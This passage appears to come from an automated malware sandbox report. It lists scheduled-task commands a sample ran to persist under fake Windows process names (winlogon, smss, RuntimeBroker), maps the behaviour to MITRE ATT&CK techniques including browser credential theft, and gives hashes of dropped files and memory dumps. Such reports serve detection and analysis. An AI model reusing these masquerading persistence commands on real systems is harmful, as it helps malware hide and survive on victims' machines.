C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 13 /tr "'C:\Hypermonitor\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3976

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 7 /tr "'C:\Recovery\WindowsRE\winlogon.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1440

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "winlogon" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\winlogon.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:656

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 11 /tr "'C:\Recovery\WindowsRE\winlogon.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3240

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "smsss" /sc MINUTE /mo 11 /tr "'C:\Hypermonitor\smss.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:976

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "smss" /sc ONLOGON /tr "'C:\Hypermonitor\smss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4248

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "smsss" /sc MINUTE /mo 13 /tr "'C:\Hypermonitor\smss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3736

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "comwebFontMonitorc" /sc MINUTE /mo 10 /tr "'C:\Hypermonitor\comwebFontMonitor.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2320

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "comwebFontMonitor" /sc ONLOGON /tr "'C:\Hypermonitor\comwebFontMonitor.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4764

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "comwebFontMonitorc" /sc MINUTE /mo 8 /tr "'C:\Hypermonitor\comwebFontMonitor.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2224

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Hypermonitor\3Uu9O955Odn1NnhyAkHLIW.bat

Filesize
202B

MD5
b541eadf5e16bd42ae841669a3491e0f

SHA1
4e6164d36294cd26d17007b1b366ef1ed8c39aff

SHA256
ccb42b4abc6239620fca02564faa3aa91a7940fff62c16eebb860261b22b296d

SHA512
51e6b0c016066e68e6045ec7999b2e2a53cb70819cdaa3f04709f84de4ca3abbddc32bebdbb26b797438219696c0285d44aa24a9b2ff6031d267cf9554ba6778

Download Submit
C:\Hypermonitor\LKrf7gnHKEtTrri8lYQDrdW1woi2hn8C2Yi.vbe

Filesize
212B

MD5
b7cb58c8a5169af209effceb641b9361

SHA1
09ae4f83a6c0463f02c99f19ee768ea74c958351

SHA256
742c352df92b460fcb6cb988bf416e61f58e1f2c647fca05b795350ea3883de7

SHA512
51298c61a8a0cd0fb7bc5542f869775125e170ae83f32624af97cc1b35ca3679777e3bc3849affee9214694d582cd395308926f705e90cab50071946d18ef599

Download Submit
C:\Hypermonitor\comwebFontMonitor.exe

Filesize
1.9MB

MD5
08e62edea94914fe3fc904a6a88975d4

SHA1
1cc51eecfd1638c461e1e474ea30f1205ecb38f4

SHA256
2092c84f1de987fda364aa58991798685b5af8353a90bf1a34d7f69685dd47ad

SHA512
4d0a90ede6b482078ed9f0c0588bb4ef3cbcc8446ea333f07a4948e57b17dd2b225805e539a20f267a888b5536f0a08c24e2edeb0a7c3de08b8442984cacb390

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
d28a889fd956d5cb3accfbaf1143eb6f

SHA1
157ba54b365341f8ff06707d996b3635da8446f7

SHA256
21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45

SHA512
0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
e243a38635ff9a06c87c2a61a2200656

SHA1
ecd95ed5bf1a9fbe96a8448fc2814a0210fa2afc

SHA256
af5782703f3f2d5a29fb313dae6680a64134db26064d4a321a3f23b75f6ca00f

SHA512
4418957a1b10eee44cf270c81816ae707352411c4f5ac14b6b61ab537c91480e24e0a0a2c276a6291081b4984c123cf673a45dcedb0ceeef682054ba0fc19cb4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
a8e8360d573a4ff072dcc6f09d992c88

SHA1
3446774433ceaf0b400073914facab11b98b6807

SHA256
bf5e284e8f95122bf75ead61c7e2b40f55c96742b05330b5b1cb7915991df13b

SHA512
4ee5167643d82082f57c42616007ef9be57f43f9731921bdf7bca611a914724ad94072d3c8f5b130fa54129e5328ccdebf37ba74339c37deb53e79df5cdf0dbe

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
3a6bad9528f8e23fb5c77fbd81fa28e8

SHA1
f127317c3bc6407f536c0f0600dcbcf1aabfba36

SHA256
986366767de5873f1b170a63f2a33ce05132d1afd90c8f5017afbca8ef1beb05

SHA512
846002154a0ece6f3e9feda6f115d3161dc21b3789525dd62ae1d9188495171293efdbe7be4710666dd8a15e66b557315b5a02918a741ed1d5f3ff0c515b98e2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
5f0ddc7f3691c81ee14d17b419ba220d

SHA1
f0ef5fde8bab9d17c0b47137e014c91be888ee53

SHA256
a31805264b8b13ce4145f272cb2830728c186c46e314b48514d636866217add5

SHA512
2ce7c2a0833f581297c13dd88ccfcd36bf129d2b5d7718c52b1d67c97cbd8fc93abc085a040229a0fd712e880c690de7f6b996b0b47c46a091fabb7931be58d3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
e8ce785f8ccc6d202d56fefc59764945

SHA1
ca032c62ddc5e0f26d84eff9895eb87f14e15960

SHA256
d85c19fc6b9d25e2168a2cc50ff38bd226fbf4f02aa7ac038a5f319522d2ffa4

SHA512
66460aec4afee582556270f8ee6048d130a090f1c12a2632ed71a99a4073e9931e9e1cc286e32debffb95a90bd955f0f0d6ec891b1c5cd2f0aae41eb6d25832f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
2e907f77659a6601fcc408274894da2e

SHA1
9f5b72abef1cd7145bf37547cdb1b9254b4efe9d

SHA256
385da35673330e21ac02545220552fe301fe54dedefbdafc097ac4342a295233

SHA512
34fa0fff24f6550f55f828541aaefe5d75c86f8f0842d54b50065e9746f9662bb7209c74c9a9571540b9855bb3851f01db613190024e89b198d485bb5dc07721

Download Submit
C:\Users\Admin\AppData\Local\Temp\7G6D8DodJk.bat

Filesize
162B

MD5
de65ce02bc2c4e940ca529bd279573ff

SHA1
93f6db48a4f22b51b6a08634d26922a71d4a67b0

SHA256
7e0fff51e1eb828deca7ffb44645947063fbc477e59ff4fceb8ff053486e3dd7

SHA512
7f1d2ed6fdd2d15200832ac076224df2fa534897342642bbb291fa33e312658e0f7ef2f8da98decede5e661c8ec5efa396a19cd7f1bf97f66c8a6528a9a8a6d0

Download Submit
C:\Users\Admin\AppData\Local\Temp\RESB44C.tmp

Filesize
1KB

MD5
199563d5ef6f537bb0d0d1ef12441c21

SHA1
fe2d2e40cfef9eb63ebaa49dd98a0811c94d3cca

SHA256
06dc6c14323a2be9a0b6bc4ffdb985add5a9bcc77551798b30a70b989163dcfc

SHA512
d98674603829582255087ffe9c3b0952882f9f6f8020dd63b3230a80b076db77da28a4978a92cd377da8982e7eff611cbe2cd54c15790451f3c3d365f3a4e028

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xhprcoff.gth.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\xnr0cji5\xnr0cji5.0.cs

Filesize
369B

MD5
342ed71958052554301464bc6394956c

SHA1
bc26cb88d9c61fcfcfd3aa01bad23afb9604ceb5

SHA256
2220689e1459f86efb4b2cd5e54593b72b2bc0365cd00cbc8990fb6ee769f5fa

SHA512
15c3acdc9a48492f92ee818b69da68a88cbbf1d0bc5151062bf4a1fd77d9b08e174acd252660025800c3d5cc3e531ae4a32652439afa6d68ae959955d2d94b47

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\xnr0cji5\xnr0cji5.cmdline

Filesize
235B

MD5
3d364c8f9ab62afd243d78e3c3ff1528

SHA1
83323366d9d733862109a98c9cca73f8ac57469e

SHA256
7ede9ab2abad50c045e80fdb1206241e1b7eca434b833ddec29d9455881bec36

SHA512
e2583b9e8619876a0b0fc92f4f951f95dad0b76c626e75dbce53ea350431010d765c5e55ab9271b7437411584659bbd1ac3b768649e5df030ca4c41245521945

Download Submit
\??\c:\Windows\System32\CSCD6271694C65A4FCDBC70ACD3AB1DBFB3.TMP

Filesize
1KB

MD5
2fd2b90e7053b01e6af25701a467eb1f

SHA1
68801a13cebba82c24f67a9d7c886fcefcf01a51

SHA256
12b900db56a20f01f0f1d65f46933971415d5b5675e59e8b02b3dae12aaa1527

SHA512
081d3a621e3664709867f3fdd82808364978f896fb007c0c8e6c8dfe25f2f2b8d37c9e0b2e4fb51c90bc6f691507b569e5d841ef3ca3bd38bd6adda2d30f32af

Download Submit
memory/1148-56-0x0000013C4BDD0000-0x0000013C4BDF2000-memory.dmp

Filesize
136KB

Download
memory/3308-27-0x0000000002FF0000-0x0000000002FFC000-memory.dmp

Filesize
48KB

Download
memory/3308-25-0x0000000002FA0000-0x0000000002FAE000-memory.dmp

Filesize
56KB

Download
memory/3308-23-0x0000000002F90000-0x0000000002F9C000-memory.dmp

Filesize
48KB

Download
memory/3308-21-0x0000000002F30000-0x0000000002F3E000-memory.dmp

Filesize
56KB

Download
memory/3308-19-0x0000000002FD0000-0x0000000002FE8000-memory.dmp

Filesize
96KB

Download
memory/3308-17-0x000000001BF80000-0x000000001BFD0000-memory.dmp

Filesize
320KB

Download
memory/3308-16-0x0000000002FB0000-0x0000000002FCC000-memory.dmp

Filesize
112KB

Download
memory/3308-14-0x0000000002F20000-0x0000000002F2E000-memory.dmp

Filesize
56KB

Download
memory/3308-12-0x0000000000C60000-0x0000000000E58000-memory.dmp

Filesize
2.0MB

Download
memory/5760-265-0x000000001DDB0000-0x000000001DEC5000-memory.dmp

Filesize
1.1MB

Download